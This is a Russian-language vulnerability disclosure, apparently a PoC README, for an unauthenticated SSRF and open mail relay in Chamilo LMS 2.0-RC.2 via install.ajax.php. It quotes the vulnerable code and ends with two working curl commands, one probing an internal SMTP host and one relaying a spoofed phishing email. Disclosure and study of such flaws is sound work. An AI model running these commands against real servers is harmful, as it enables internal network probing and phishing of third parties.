
Эксплойт proof-of-concept для неаутентифицированного SSRF и открытого релея электронной почты в Chamilo LMS через install.ajax.php, позволяющий зондировать внутреннюю сеть и отправлять фишинговые письма.
Критичность: Высокая (CVSS 7.2)
CWE: CWE-918 (SSRF) + CWE-306 (Отсутствие аутентификации)
Затронуто: chamilo/chamilo-lms 2.0-RC.2
Исправлено в: 2.0-RC.3
Рекомендация: GHSA-mxc9-9335-45mc
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33715
Автор: Romain Deperne
install.ajax.php в Chamilo LMS 2.0 доступен без аутентификации на полностью установленных экземплярах. Его действие test_mailer принимает произвольный DSN Symfony Mailer и адрес назначения из POST-данных, что позволяет любому неаутентифицированному атакующему заставить сервер инициировать SMTP-соединения с произвольными внутренними хостами (SSRF) и отправлять электронные письма через сервер Chamilo как открытый релей.
Я проводил аудит Chamilo LMS, заметив, что в нём накопилось несколько CVE, но его AJAX-эндпоинты не подвергались глубокому аудиту. Мой подход: перечислить все файлы в public/main/inc/ajax/ и проверить, начинается ли каждый из них с require_once __DIR__.'/../global.inc.php' — включения, которое обеспечивает аутентификацию во всей кодовой базе.
install.ajax.php был исключением. Он включает только автозагрузчик Composer. Имя файла уже намекало на то, что это оставшийся код установки — и grep по test_mailer внутри него подтвердил, что он принимает необработанную строку DSN Symfony Mailer из POST-данных и передаёт её напрямую в Transport::fromDsn().
Это полноценный примитив SSRF: неаутентифицированный атакующий контролирует протокол, хост и порт, к которым подключается сервер. Тот факт, что он отправляет реальное письмо через любой настроенный транспорт, превращает его также в открытый релей. Я подтвердил с помощью простого curl, что эндпоинт был доступен без какого-либо сессионного cookie на полностью установленном экземпляре.
Корневая причина архитектурная: файл обходит межсетевой экран безопасности Symfony, поскольку RewriteCond %{REQUEST_FILENAME} !-f в Apache передаёт существующие PHP-файлы напрямую в PHP, минуя фронт-контроллер.
Файл: public/main/inc/ajax/install.ajax.php
Файл был предназначен для мастера установки, но остаётся доступным после установки. В отличие от всех остальных AJAX-эндпоинтов в том же каталоге, он не включает global.inc.php — то есть нулевая аутентификация, нулевая проверка авторизации:
// Line 18 — only loads Composer autoloader, no auth
require_once __DIR__.'/../../../../vendor/autoload.php';
Действие test_mailer (строка ~138) принимает POST-параметры, контролируемые злоумышленником:
case 'test_mailer':
$mailerDsn = (string) $request->request->get('mailerDsn'); // arbitrary SMTP DSN
$mailerTestDestination = (string) $request->request->get('mailerTestDestination'); // arbitrary email
// ...
$transport = Transport::fromDsn($mailerDsn); // connects to attacker's SMTP server
$mailer = new Mailer($transport);
$mailer->send($email); // sends email through it
Сравните с любым должным образом защищённым эндпоинтом:
// chat.ajax.php line 9 — correct pattern
require_once __DIR__.'/../global.inc.php'; // enforces authentication
api_block_anonymous_users();
Файл отдаётся напрямую Apache (RewriteCond %{REQUEST_FILENAME} !-f пропускает существующие PHP-файлы, обходя межсетевой экран безопасности Symfony). Отсутствие подключения global.inc.php означает отсутствие сессии, отсутствие аутентификации и отсутствие проверки завершения установки.
Полную демонстрацию см. в poc.py.
# SSRF — force Chamilo to connect to internal SMTP server
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://10.0.0.1:25" \
-d "[email protected]" \
-d "mailerFromName=Test" \
-d "[email protected]"
# Open relay — send phishing email through the Chamilo server
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://mail.chamilo.org:587" \
-d "[email protected]" \
-d "mailerFromName=Chamilo Security" \
-d "[email protected]"